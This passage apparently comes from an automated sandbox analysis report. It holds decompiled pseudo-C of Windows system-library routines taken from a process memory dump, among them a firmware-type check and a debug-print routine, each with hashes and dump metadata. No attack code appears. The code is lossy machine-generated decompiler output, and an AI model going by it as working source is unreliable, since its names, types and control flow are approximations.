                                      						if(_t108 != 0 &&  *((intOrPtr*)(_t118 + 8)) >= 1) {
                                      							 *_t108 = 0;
                                      						}
                                      						goto L27;
                                      					}
                                      					 *_t115 = _t65;
                                      					_t115 = _t65 + _t65;
                                      					E036AF3E0(_t108, _t101, _t115);
                                      					 *((short*)(_t115 +  *((intOrPtr*)(_t118 - 0x80)))) = 0;
                                      					_t67 = 0;
                                      					goto L28;
                                      				}
                                      				_t103 = _t100 - 1;
                                      				if(_t103 == 0) {
                                      					_t117 =  *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x38;
                                      					_t74 = E03683690(1, _t117, 0x3641810, _t118 - 0x74);
                                      					 *((intOrPtr*)(_t118 - 0x64)) = _t74;
                                      					_t101 = _t117[2];
                                      					_t113 =  *((intOrPtr*)(_t118 - 0x6c));
                                      					if(_t74 < 0) {
                                      						_t64 =  *_t117 & 0x0000ffff;
                                      						_t115 =  *(_t118 - 0x7c);
                                      						goto L20;
                                      					}
                                      					_t65 = (( *(_t118 - 0x74) & 0x0000ffff) >> 1) + 1;
                                      					_t115 =  *(_t118 - 0x7c);
                                      					goto L21;
                                      				}
                                      				if(_t103 == 1) {
                                      					_t105 = 4;
                                      					 *((intOrPtr*)(_t118 - 0x78)) = _t105;
                                      					 *((intOrPtr*)(_t118 - 0x70)) = 0;
                                      					_push(_t118 - 0x70);
                                      					_push(0);
                                      					_push(0);
                                      					_push(_t105);
                                      					_push(_t118 - 0x78);
                                      					_push(0x6b);
                                      					 *((intOrPtr*)(_t118 - 0x64)) = E036AAA90();
                                      					 *((intOrPtr*)(_t118 - 0x64)) = 0;
                                      					_t113 = L03684620(_t105,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8,  *((intOrPtr*)(_t118 - 0x70)));
                                      					 *((intOrPtr*)(_t118 - 0x6c)) = _t113;
                                      					if(_t113 != 0) {
                                      						_push(_t118 - 0x70);
                                      						_push( *((intOrPtr*)(_t118 - 0x70)));
                                      						_push(_t113);
                                      						_push(4);
                                      						_push(_t118 - 0x78);
                                      						_push(0x6b);
                                      						_t84 = E036AAA90();
                                      						 *((intOrPtr*)(_t118 - 0x64)) = _t84;
                                      						if(_t84 < 0) {
                                      							goto L29;
                                      						}
                                      						_t110 = 0;
                                      						_t106 = 0;
                                      						while(1) {
                                      							 *((intOrPtr*)(_t118 - 0x84)) = _t110;
                                      							 *(_t118 - 0x88) = _t106;
                                      							if(_t106 >= ( *(_t113 + 0xa) & 0x0000ffff)) {
                                      								break;
                                      							}
                                      							_t110 = _t110 + ( *(_t106 * 0x2c + _t113 + 0x21) & 0x000000ff);
                                      							_t106 = _t106 + 1;
                                      						}
                                      						_t88 = E036E500E(_t106, _t118 - 0x3c, 0x20, _t118 - 0x8c, 0, 0, L"%u", _t110);
                                      						_t119 = _t119 + 0x1c;
                                      						 *((intOrPtr*)(_t118 - 0x64)) = _t88;
                                      						if(_t88 < 0) {
                                      							goto L29;
                                      						}
                                      						_t101 = _t118 - 0x3c;
                                      						_t65 =  *((intOrPtr*)(_t118 - 0x8c)) - _t118 - 0x3c >> 1;
                                      						goto L21;
                                      					}
                                      					_t67 = 0xc0000017;
                                      					goto L28;
                                      				}
                                      				_push(0);
                                      				_push(0x20);
                                      				_push(_t118 - 0x60);
                                      				_push(0x5a);
                                      				_t94 = E036A9860();
                                      				 *((intOrPtr*)(_t118 - 0x64)) = _t94;
                                      				if(_t94 < 0) {
                                      					goto L29;
                                      				}
                                      				if( *((intOrPtr*)(_t118 - 0x50)) == 1) {
                                      					_t101 = L"Legacy";
                                      					_push(6);
                                      				} else {
                                      					_t101 = L"UEFI";
                                      					_push(4);
                                      				}
                                      				_pop(_t65);
                                      				goto L21;
                                      			}






















                                      0x036e51be
                                      0x036e51c3
                                      0x036e51c8
                                      0x036e51cd
                                      0x036e51d0
                                      0x036e51d3
                                      0x036e51d8
                                      0x036e51db
                                      0x036e51de
                                      0x036e51e0
                                      0x036e51e3
                                      0x036e51e6
                                      0x036e51e8
                                      0x036e5342
                                      0x036e5351
                                      0x036e5356
                                      0x036e535a
                                      0x036e5360
                                      0x036e5363
                                      0x036e5366
                                      0x036e5369
                                      0x036e5369
                                      0x036e536b
                                      0x036e536b
                                      0x036e5370
                                      0x036e53a3
                                      0x036e53a4
                                      0x036e53a6
                                      0x036e53ab
                                      0x036e53ab
                                      0x036e53ae
                                      0x036e53ae
                                      0x036e53b5
                                      0x036e53bf
                                      0x036e53bf
                                      0x036e5375
                                      0x036e5396
                                      0x036e53a0
                                      0x036e53a0
                                      0x00000000
                                      0x036e5396
                                      0x036e5377
                                      0x036e5379
                                      0x036e537f
                                      0x036e538c
                                      0x036e5390
                                      0x00000000
                                      0x036e5390
                                      0x036e51ee
                                      0x036e51f1
                                      0x036e5301
                                      0x036e5310
                                      0x036e5315
                                      0x036e5318
                                      0x036e531b
                                      0x036e5320
                                      0x036e532e
                                      0x036e5331
                                      0x00000000
                                      0x036e5331
                                      0x036e5328
                                      0x036e5329
                                      0x00000000
                                      0x036e5329
                                      0x036e51fa
                                      0x036e5235
                                      0x036e5236
                                      0x036e5239
                                      0x036e523f
                                      0x036e5240
                                      0x036e5241
                                      0x036e5242
                                      0x036e5246
                                      0x036e5247
                                      0x036e524e
                                      0x036e5251
                                      0x036e5267
                                      0x036e5269
                                      0x036e526e
                                      0x036e527d
                                      0x036e527e
                                      0x036e5281
                                      0x036e5282
                                      0x036e5287
                                      0x036e5288
                                      0x036e528a
                                      0x036e528f
                                      0x036e5294
                                      0x00000000
                                      0x00000000
                                      0x036e529a
                                      0x036e529c
                                      0x036e529e
                                      0x036e529e
                                      0x036e52a4
                                      0x036e52b0
                                      0x00000000
                                      0x00000000
                                      0x036e52ba
                                      0x036e52bc
                                      0x036e52bc
                                      0x036e52d4
                                      0x036e52d9
                                      0x036e52dc
                                      0x036e52e1
                                      0x00000000
                                      0x00000000
                                      0x036e52e7
                                      0x036e52f4
                                      0x00000000
                                      0x036e52f4
                                      0x036e5270
                                      0x00000000
                                      0x036e5270
                                      0x036e51fc
                                      0x036e51fd
                                      0x036e5202
                                      0x036e5203
                                      0x036e5205
                                      0x036e520a
                                      0x036e520f
                                      0x00000000
                                      0x00000000
                                      0x036e521b
                                      0x036e5226
                                      0x036e522b
                                      0x036e521d
                                      0x036e521d
                                      0x036e5222
                                      0x036e5222
                                      0x036e522d
                                      0x00000000

                                      Strings
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: InitializeThunk
                                      • String ID: Legacy$UEFI
                                      • API String ID: 2994545307-634100481
                                      • Opcode ID: c0e5a4629fdc1dc3c71f1e7825f8d027d5704d3ec421995d47a750732fc8e04c
                                      • Instruction ID: d8b1ad859223cd24c1dca324f4ea604f16714b5618d2adccdc6d213aeaef793f
                                      • Opcode Fuzzy Hash: c0e5a4629fdc1dc3c71f1e7825f8d027d5704d3ec421995d47a750732fc8e04c
                                      • Instruction Fuzzy Hash: 03517CB1E017089FDB24DFA8C940AAEBBF8FB49704F14402DE60AEB251E771D945CB54
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 78%
                                      			E0366B171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
                                      				signed int _t65;
                                      				signed short _t69;
                                      				intOrPtr _t70;
                                      				signed short _t85;
                                      				void* _t86;
                                      				signed short _t89;
                                      				signed short _t91;
                                      				intOrPtr _t92;
                                      				intOrPtr _t97;
                                      				intOrPtr* _t98;
                                      				signed short _t99;
                                      				signed short _t101;
                                      				void* _t102;
                                      				char* _t103;
                                      				signed short _t104;
                                      				intOrPtr* _t110;
                                      				void* _t111;
                                      				void* _t114;
                                      				intOrPtr* _t115;
                                      
                                      				_t109 = __esi;
                                      				_t108 = __edi;
                                      				_t106 = __edx;
                                      				_t95 = __ebx;
                                      				_push(0x90);
                                      				_push(0x373f7a8);
                                      				E036BD0E8(__ebx, __edi, __esi);
                                      				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
                                      				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
                                      				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
                                      				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
                                      				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
                                      				if(__edx == 0xffffffff) {
                                      					L6:
                                      					_t97 =  *((intOrPtr*)(_t114 - 0x78));
                                      					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
                                      					__eflags = _t65 & 0x00000002;
                                      					if((_t65 & 0x00000002) != 0) {
                                      						L3:
                                      						L4:
                                      						return E036BD130(_t95, _t108, _t109);
                                      					}
                                      					 *(_t97 + 0xfca) = _t65 | 0x00000002;
                                      					_t108 = 0;
                                      					_t109 = 0;
                                      					_t95 = 0;
                                      					__eflags = 0;
                                      					while(1) {
                                      						__eflags = _t95 - 0x200;
                                      						if(_t95 >= 0x200) {
                                      							break;
                                      						}
                                      						E036AD000(0x80);
                                      						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
                                      						_t108 = _t115;
                                      						_t95 = _t95 - 0xffffff80;
                                      						_t17 = _t114 - 4;
                                      						 *_t17 =  *(_t114 - 4) & 0x00000000;
                                      						__eflags =  *_t17;
                                      						_t106 =  *((intOrPtr*)(_t114 - 0x84));
                                      						_t110 =  *((intOrPtr*)(_t114 - 0x84));
                                      						_t102 = _t110 + 1;
                                      						do {
                                      							_t85 =  *_t110;
                                      							_t110 = _t110 + 1;
                                      							__eflags = _t85;
                                      						} while (_t85 != 0);
                                      						_t111 = _t110 - _t102;
                                      						_t21 = _t95 - 1; // -129
                                      						_t86 = _t21;
                                      						__eflags = _t111 - _t86;
                                      						if(_t111 > _t86) {
                                      							_t111 = _t86;
                                      						}
                                      						E036AF3E0(_t108, _t106, _t111);
                                      						_t115 = _t115 + 0xc;
                                      						_t103 = _t111 + _t108;
                                      						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
                                      						_t89 = _t95 - _t111;
                                      						__eflags = _t89;
                                      						_push(0);
                                      						if(_t89 == 0) {
                                      							L15:
                                      							_t109 = 0xc000000d;
                                      							goto L16;
                                      						} else {
                                      							__eflags = _t89 - 0x7fffffff;
                                      							if(_t89 <= 0x7fffffff) {
                                      								L16:
                                      								 *(_t114 - 0x94) = _t109;
                                      								__eflags = _t109;
                                      								if(_t109 < 0) {
                                      									__eflags = _t89;
                                      									if(_t89 != 0) {
                                      										 *_t103 = 0;
                                      									}
                                      									L26:
                                      									 *(_t114 - 0xa0) = _t109;
                                      									 *(_t114 - 4) = 0xfffffffe;
                                      									__eflags = _t109;
                                      									if(_t109 >= 0) {
                                      										L31:
                                      										_t98 = _t108;
                                      										_t39 = _t98 + 1; // 0x1
                                      										_t106 = _t39;
                                      										do {
                                      											_t69 =  *_t98;
                                      											_t98 = _t98 + 1;
                                      											__eflags = _t69;
                                      										} while (_t69 != 0);
                                      										_t99 = _t98 - _t106;
                                      										__eflags = _t99;
                                      										L34:
                                      										_t70 =  *[fs:0x30];
                                      										__eflags =  *((char*)(_t70 + 2));
                                      										if( *((char*)(_t70 + 2)) != 0) {
                                      											L40:
                                      											 *((intOrPtr*)(_t114 - 0x74)) = 0x40010006;
                                      											 *(_t114 - 0x6c) =  *(_t114 - 0x6c) & 0x00000000;
                                      											 *((intOrPtr*)(_t114 - 0x64)) = 2;
                                      											 *(_t114 - 0x70) =  *(_t114 - 0x70) & 0x00000000;
                                      											 *((intOrPtr*)(_t114 - 0x60)) = (_t99 & 0x0000ffff) + 1;
                                      											 *((intOrPtr*)(_t114 - 0x5c)) = _t108;
                                      											 *(_t114 - 4) = 1;
                                      											_push(_t114 - 0x74);
                                      											L036BDEF0(_t99, _t106);
                                      											 *(_t114 - 4) = 0xfffffffe;
                                      											 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
                                      											goto L3;
                                      										}
                                      										__eflags = ( *0x7ffe02d4 & 0x00000003) - 3;
                                      										if(( *0x7ffe02d4 & 0x00000003) != 3) {
                                      											goto L40;
                                      										}
                                      										_push( *((intOrPtr*)(_t114 + 8)));
                                      										_push( *((intOrPtr*)(_t114 - 0x9c)));
                                      										_push(_t99 & 0x0000ffff);
                                      										_push(_t108);
                                      										_push(1);
                                      										_t101 = E036AB280();
                                      										__eflags =  *((char*)(_t114 + 0x14)) - 1;
                                      										if( *((char*)(_t114 + 0x14)) == 1) {
                                      											__eflags = _t101 - 0x80000003;
                                      											if(_t101 == 0x80000003) {
                                      												E036AB7E0(1);
                                      												_t101 = 0;
                                      												__eflags = 0;
                                      											}
                                      										}
                                      										 *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) =  *( *((intOrPtr*)(_t114 - 0x78)) + 0xfca) & 0x0000fffd;
                                      										goto L4;
                                      									}
                                      									__eflags = _t109 - 0x80000005;
                                      									if(_t109 == 0x80000005) {
                                      										continue;
                                      									}
                                      									break;
                                      								}
                                      								 *(_t114 - 0x90) = 0;
                                      								 *((intOrPtr*)(_t114 - 0x7c)) = _t89 - 1;
                                      								_t91 = E036AE2D0(_t103, _t89 - 1,  *((intOrPtr*)(_t114 - 0x8c)),  *((intOrPtr*)(_t114 - 0x88)));
                                      								_t115 = _t115 + 0x10;
                                      								_t104 = _t91;
                                      								_t92 =  *((intOrPtr*)(_t114 - 0x7c));
                                      								__eflags = _t104;
                                      								if(_t104 < 0) {
                                      									L21:
                                      									_t109 = 0x80000005;
                                      									 *(_t114 - 0x90) = 0x80000005;
                                      									L22:
                                      									 *((char*)(_t92 +  *((intOrPtr*)(_t114 - 0x80)))) = 0;
                                      									L23:
                                      									 *(_t114 - 0x94) = _t109;
                                      									goto L26;
                                      								}
                                      								__eflags = _t104 - _t92;
                                      								if(__eflags > 0) {
                                      									goto L21;
                                      								}
                                      								if(__eflags == 0) {
                                      									goto L22;
                                      								}
                                      								goto L23;
                                      							}
                                      							goto L15;
                                      						}
                                      					}
                                      					__eflags = _t109;
                                      					if(_t109 >= 0) {
                                      						goto L31;
                                      					}
                                      					__eflags = _t109 - 0x80000005;
                                      					if(_t109 != 0x80000005) {
                                      						goto L31;
                                      					}
                                      					 *((short*)(_t95 + _t108 - 2)) = 0xa;
                                      					_t38 = _t95 - 1; // -129
                                      					_t99 = _t38;
                                      					goto L34;
                                      				}
                                      				if( *((char*)( *[fs:0x30] + 2)) != 0) {
                                      					__eflags = __edx - 0x65;
                                      					if(__edx != 0x65) {
                                      						goto L2;
                                      					}
                                      					goto L6;
                                      				}
                                      				L2:
                                      				_push( *((intOrPtr*)(_t114 + 8)));
                                      				_push(_t106);
                                      				if(E036AA890() != 0) {
                                      					goto L6;
                                      				}
                                      				goto L3;
                                      			}






















                                      0x0366b171
                                      0x0366b171
                                      0x0366b171
                                      0x0366b171
                                      0x0366b171
                                      0x0366b176
                                      0x0366b17b
                                      0x0366b180
                                      0x0366b186
                                      0x0366b18f
                                      0x0366b198
                                      0x0366b1a4
                                      0x0366b1aa
                                      0x036c4802
                                      0x036c4802
                                      0x036c4805
                                      0x036c480c
                                      0x036c480e
                                      0x0366b1d1
                                      0x0366b1d3
                                      0x0366b1de
                                      0x0366b1de
                                      0x036c4817
                                      0x036c481e
                                      0x036c4820
                                      0x036c4822
                                      0x036c4822
                                      0x036c4824
                                      0x036c4824
                                      0x036c482a
                                      0x00000000
                                      0x00000000
                                      0x036c4835
                                      0x036c483a
                                      0x036c483d
                                      0x036c483f
                                      0x036c4842
                                      0x036c4842
                                      0x036c4842
                                      0x036c4846
                                      0x036c484c
                                      0x036c484e
                                      0x036c4851
                                      0x036c4851
                                      0x036c4853
                                      0x036c4854
                                      0x036c4854
                                      0x036c4858
                                      0x036c485a
                                      0x036c485a
                                      0x036c485d
                                      0x036c485f
                                      0x036c4861
                                      0x036c4861
                                      0x036c4866
                                      0x036c486b
                                      0x036c486e
                                      0x036c4871
                                      0x036c4876
                                      0x036c4876
                                      0x036c4878
                                      0x036c487b
                                      0x036c4884
                                      0x036c4884
                                      0x00000000
                                      0x036c487d
                                      0x036c487d
                                      0x036c4882
                                      0x036c4889
                                      0x036c4889
                                      0x036c488f
                                      0x036c4891
                                      0x036c48e0
                                      0x036c48e2
                                      0x036c48e4
                                      0x036c48e4
                                      0x036c48e7
                                      0x036c48e7
                                      0x036c48ed
                                      0x036c48f4
                                      0x036c48f6
                                      0x036c4951
                                      0x036c4951
                                      0x036c4953
                                      0x036c4953
                                      0x036c4956
                                      0x036c4956
                                      0x036c4958
                                      0x036c4959
                                      0x036c4959
                                      0x036c495d
                                      0x036c495d
                                      0x036c495f
                                      0x036c495f
                                      0x036c4965
                                      0x036c4969
                                      0x036c49ba
                                      0x036c49ba
                                      0x036c49c1
                                      0x036c49c5
                                      0x036c49cc
                                      0x036c49d4
                                      0x036c49d7
                                      0x036c49da
                                      0x036c49e4
                                      0x036c49e5
                                      0x036c49f3
                                      0x036c4a02
                                      0x00000000
                                      0x036c4a02
                                      0x036c4972
                                      0x036c4974
                                      0x00000000
                                      0x00000000
                                      0x036c4976
                                      0x036c4979
                                      0x036c4982
                                      0x036c4983
                                      0x036c4984
                                      0x036c498b
                                      0x036c498d
                                      0x036c4991
                                      0x036c4993
                                      0x036c4999
                                      0x036c499d
                                      0x036c49a2
                                      0x036c49a2
                                      0x036c49a2
                                      0x036c4999
                                      0x036c49ac
                                      0x00000000
                                      0x036c49b3
                                      0x036c48f8
                                      0x036c48fe
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c48fe
                                      0x036c4895
                                      0x036c489c
                                      0x036c48ad
                                      0x036c48b2
                                      0x036c48b5
                                      0x036c48b7
                                      0x036c48ba
                                      0x036c48bc
                                      0x036c48c6
                                      0x036c48c6
                                      0x036c48cb
                                      0x036c48d1
                                      0x036c48d4
                                      0x036c48d8
                                      0x036c48d8
                                      0x00000000
                                      0x036c48d8
                                      0x036c48be
                                      0x036c48c0
                                      0x00000000
                                      0x00000000
                                      0x036c48c2
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c48c4
                                      0x00000000
                                      0x036c4882
                                      0x036c487b
                                      0x036c4904
                                      0x036c4906
                                      0x00000000
                                      0x00000000
                                      0x036c4908
                                      0x036c490e
                                      0x00000000
                                      0x00000000
                                      0x036c4910
                                      0x036c4917
                                      0x036c4917
                                      0x00000000
                                      0x036c4917
                                      0x0366b1ba
                                      0x036c47f9
                                      0x036c47fc
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x036c47fc
                                      0x0366b1c0
                                      0x0366b1c0
                                      0x0366b1c3
                                      0x0366b1cb
                                      0x00000000
                                      0x00000000
                                      0x00000000

                                      APIs
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: _vswprintf_s
                                      • String ID:
                                      • API String ID: 677850445-0
                                      • Opcode ID: c5eed1c5fda5f9fd3115f3248afbbee9ec613153d817faced1c907a47543a852
                                      • Instruction ID: a97e80f93b72f268b55b826ba74d5ccc56bab52c77959edd688a4043144c4780
                                      • Opcode Fuzzy Hash: c5eed1c5fda5f9fd3115f3248afbbee9ec613153d817faced1c907a47543a852
                                      • Instruction Fuzzy Hash: 0451D075D252A98ADB32CF69C954BBEBBB4FF00710F1442ADD859AB381DB708941CF90
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 76%
                                      			E0368B944(signed int* __ecx, char __edx) {
                                      				signed int _v8;
                                      				signed int _v16;
                                      				signed int _v20;
                                      				char _v28;
                                      				signed int _v32;
                                      				char _v36;
                                      				signed int _v40;
                                      				intOrPtr _v44;
                                      				signed int* _v48;
                                      				signed int _v52;
                                      				signed int _v56;
                                      				intOrPtr _v60;
                                      				intOrPtr _v64;
                                      				intOrPtr _v68;
                                      				intOrPtr _v72;
                                      				intOrPtr _v76;
                                      				char _v77;
                                      				void* __ebx;
                                      				void* __edi;
                                      				void* __esi;
                                      				intOrPtr* _t65;
                                      				intOrPtr _t67;
                                      				intOrPtr _t68;
                                      				char* _t73;
                                      				intOrPtr _t77;
                                      				intOrPtr _t78;
                                      				signed int _t82;
                                      				intOrPtr _t83;
                                      				void* _t87;
                                      				char _t88;
                                      				intOrPtr* _t89;
                                      				intOrPtr _t91;
                                      				void* _t97;
                                      				intOrPtr _t100;
                                      				void* _t102;
                                      				void* _t107;
                                      				signed int _t108;
                                      				intOrPtr* _t112;
                                      				void* _t113;
                                      				intOrPtr* _t114;
                                      				intOrPtr _t115;
                                      				intOrPtr _t116;
                                      				intOrPtr _t117;
                                      				signed int _t118;
                                      				void* _t130;
                                      
                                      				_t120 = (_t118 & 0xfffffff8) - 0x4c;
                                      				_v8 =  *0x375d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
                                      				_t112 = __ecx;
                                      				_v77 = __edx;
                                      				_v48 = __ecx;
                                      				_v28 = 0;
                                      				_t5 = _t112 + 0xc; // 0x575651ff
                                      				_t105 =  *_t5;
                                      				_v20 = 0;
                                      				_v16 = 0;
                                      				if(_t105 == 0) {
                                      					_t50 = _t112 + 4; // 0x5de58b5b
                                      					_t60 =  *__ecx |  *_t50;
                                      					if(( *__ecx |  *_t50) != 0) {
                                      						 *__ecx = 0;
                                      						__ecx[1] = 0;
                                      						if(E03687D50() != 0) {
                                      							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      						} else {
                                      							_t65 = 0x7ffe0386;
                                      						}
                                      						if( *_t65 != 0) {
                                      							E03738CD6(_t112);
                                      						}
                                      						_push(0);
                                      						_t52 = _t112 + 0x10; // 0x778df98b
                                      						_push( *_t52);
                                      						_t60 = E036A9E20();
                                      					}
                                      					L20:
                                      					_pop(_t107);
                                      					_pop(_t113);
                                      					_pop(_t87);
                                      					return E036AB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
                                      				}
                                      				_t8 = _t112 + 8; // 0x8b000cc2
                                      				_t67 =  *_t8;
                                      				_t88 =  *((intOrPtr*)(_t67 + 0x10));
                                      				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
                                      				_t108 =  *(_t67 + 0x14);
                                      				_t68 =  *((intOrPtr*)(_t105 + 0x14));
                                      				_t105 = 0x2710;
                                      				asm("sbb eax, edi");
                                      				_v44 = _t88;
                                      				_v52 = _t108;
                                      				_t60 = E036ACE00(_t97, _t68, 0x2710, 0);
                                      				_v56 = _t60;
                                      				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
                                      					L3:
                                      					 *(_t112 + 0x44) = _t60;
                                      					_t105 = _t60 * 0x2710 >> 0x20;
                                      					 *_t112 = _t88;
                                      					 *(_t112 + 4) = _t108;
                                      					_v20 = _t60 * 0x2710;
                                      					_v16 = _t60 * 0x2710 >> 0x20;
                                      					if(_v77 != 0) {
                                      						L16:
                                      						_v36 = _t88;
                                      						_v32 = _t108;
                                      						if(E03687D50() != 0) {
                                      							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
                                      						} else {
                                      							_t73 = 0x7ffe0386;
                                      						}
                                      						if( *_t73 != 0) {
                                      							_t105 = _v40;
                                      							E03738F6A(_t112, _v40, _t88, _t108);
                                      						}
                                      						_push( &_v28);
                                      						_push(0);
                                      						_push( &_v36);
                                      						_t48 = _t112 + 0x10; // 0x778df98b
                                      						_push( *_t48);
                                      						_t60 = E036AAF60();
                                      						goto L20;
                                      					} else {
                                      						_t89 = 0x7ffe03b0;
                                      						do {
                                      							_t114 = 0x7ffe0010;
                                      							do {
                                      								_t77 =  *0x3758628; // 0x0
                                      								_v68 = _t77;
                                      								_t78 =  *0x375862c; // 0x0
                                      								_v64 = _t78;
                                      								_v72 =  *_t89;
                                      								_v76 =  *((intOrPtr*)(_t89 + 4));
                                      								while(1) {
                                      									_t105 =  *0x7ffe000c;
                                      									_t100 =  *0x7ffe0008;
                                      									if(_t105 ==  *_t114) {
                                      										goto L8;
                                      									}
                                      									asm("pause");
                                      								}
                                      								L8:
                                      								_t89 = 0x7ffe03b0;
                                      								_t115 =  *0x7ffe03b0;
                                      								_t82 =  *0x7FFE03B4;
                                      								_v60 = _t115;
                                      								_t114 = 0x7ffe0010;
                                      								_v56 = _t82;
                                      							} while (_v72 != _t115 || _v76 != _t82);
                                      							_t83 =  *0x3758628; // 0x0
                                      							_t116 =  *0x375862c; // 0x0
                                      							_v76 = _t116;
                                      							_t117 = _v68;
                                      						} while (_t117 != _t83 || _v64 != _v76);
                                      						asm("sbb edx, [esp+0x24]");
                                      						_t102 = _t100 - _v60 - _t117;
                                      						_t112 = _v48;
                                      						_t91 = _v44;
                                      						asm("sbb edx, eax");
                                      						_t130 = _t105 - _v52;
                                      						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
                                      							_t88 = _t102 - _t91;
                                      							asm("sbb edx, edi");
                                      							_t108 = _t105;
                                      						} else {
                                      							_t88 = 0;
                                      							_t108 = 0;
                                      						}
                                      						goto L16;
                                      					}
                                      				} else {
                                      					if( *(_t112 + 0x44) == _t60) {
                                      						goto L20;
                                      					}
                                      					goto L3;
                                      				}
                                      			}
















































                                      0x0368b94c
                                      0x0368b956
                                      0x0368b95c
                                      0x0368b95e
                                      0x0368b964
                                      0x0368b969
                                      0x0368b96d
                                      0x0368b96d
                                      0x0368b970
                                      0x0368b974
                                      0x0368b97a
                                      0x0368badf
                                      0x0368badf
                                      0x0368bae2
                                      0x0368bae4
                                      0x0368bae6
                                      0x0368baf0
                                      0x036d2cb8
                                      0x0368baf6
                                      0x0368baf6
                                      0x0368baf6
                                      0x0368bafd
                                      0x0368bb1f
                                      0x0368bb1f
                                      0x0368baff
                                      0x0368bb00
                                      0x0368bb00
                                      0x0368bb03
                                      0x0368bb03
                                      0x0368bacb
                                      0x0368bacf
                                      0x0368bad0
                                      0x0368bad1
                                      0x0368badc
                                      0x0368badc
                                      0x0368b980
                                      0x0368b980
                                      0x0368b988
                                      0x0368b98b
                                      0x0368b98d
                                      0x0368b990
                                      0x0368b993
                                      0x0368b999
                                      0x0368b99b
                                      0x0368b9a1
                                      0x0368b9a5
                                      0x0368b9aa
                                      0x0368b9b0
                                      0x0368b9bb
                                      0x0368b9c0
                                      0x0368b9c3
                                      0x0368b9ca
                                      0x0368b9cc
                                      0x0368b9cf
                                      0x0368b9d3
                                      0x0368b9d7
                                      0x0368ba94
                                      0x0368ba94
                                      0x0368ba98
                                      0x0368baa3
                                      0x036d2ccb
                                      0x0368baa9
                                      0x0368baa9
                                      0x0368baa9
                                      0x0368bab1
                                      0x036d2cd5
                                      0x036d2cdd
                                      0x036d2cdd
                                      0x0368babb
                                      0x0368babc
                                      0x0368bac2
                                      0x0368bac3
                                      0x0368bac3
                                      0x0368bac6
                                      0x00000000
                                      0x0368b9dd
                                      0x0368b9dd
                                      0x0368b9e7
                                      0x0368b9e7
                                      0x0368b9ec
                                      0x0368b9ec
                                      0x0368b9f1
                                      0x0368b9f5
                                      0x0368b9fa
                                      0x0368ba00
                                      0x0368ba0c
                                      0x0368ba10
                                      0x0368ba10
                                      0x0368ba12
                                      0x0368ba18
                                      0x00000000
                                      0x00000000
                                      0x0368bb26
                                      0x0368bb26
                                      0x0368ba1e
                                      0x0368ba1e
                                      0x0368ba23
                                      0x0368ba25
                                      0x0368ba2c
                                      0x0368ba30
                                      0x0368ba35
                                      0x0368ba35
                                      0x0368ba41
                                      0x0368ba46
                                      0x0368ba4c
                                      0x0368ba50
                                      0x0368ba54
                                      0x0368ba6a
                                      0x0368ba6e
                                      0x0368ba70
                                      0x0368ba74
                                      0x0368ba78
                                      0x0368ba7a
                                      0x0368ba7c
                                      0x0368ba8e
                                      0x0368ba90
                                      0x0368ba92
                                      0x0368bb14
                                      0x0368bb14
                                      0x0368bb16
                                      0x0368bb16
                                      0x00000000
                                      0x0368ba7c
                                      0x0368bb0a
                                      0x0368bb0d
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0368bb0f

                                      APIs
                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0368B9A5
                                      Memory Dump Source
                                      • Source File: 0000000D.00000002.525382273.0000000003640000.00000040.00000001.sdmp, Offset: 03640000, based on PE: true
                                      • Associated: 0000000D.00000002.526107553.000000000375B000.00000040.00000001.sdmp Download File
                                      • Associated: 0000000D.00000002.526159190.000000000375F000.00000040.00000001.sdmp Download File
                                      Similarity
                                      • API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
                                      • String ID:
                                      • API String ID: 885266447-0
                                      • Opcode ID: 6e7ae4a485cb6297f8f1e712c0752afb8e8b349103476b154d0159ddee516370
                                      • Instruction ID: 225c0a08b8fb01ce5b7075d1983c4ed62eb9d0e6a79c33664c5112a86cf52725
                                      • Opcode Fuzzy Hash: 6e7ae4a485cb6297f8f1e712c0752afb8e8b349103476b154d0159ddee516370
                                      • Instruction Fuzzy Hash: 08516971A08741CFC724EF28C19092AFBF9FB88610F188A6EE59587354D7B1E845CB92
                                      Uniqueness

                                      Uniqueness Score: -1.00%

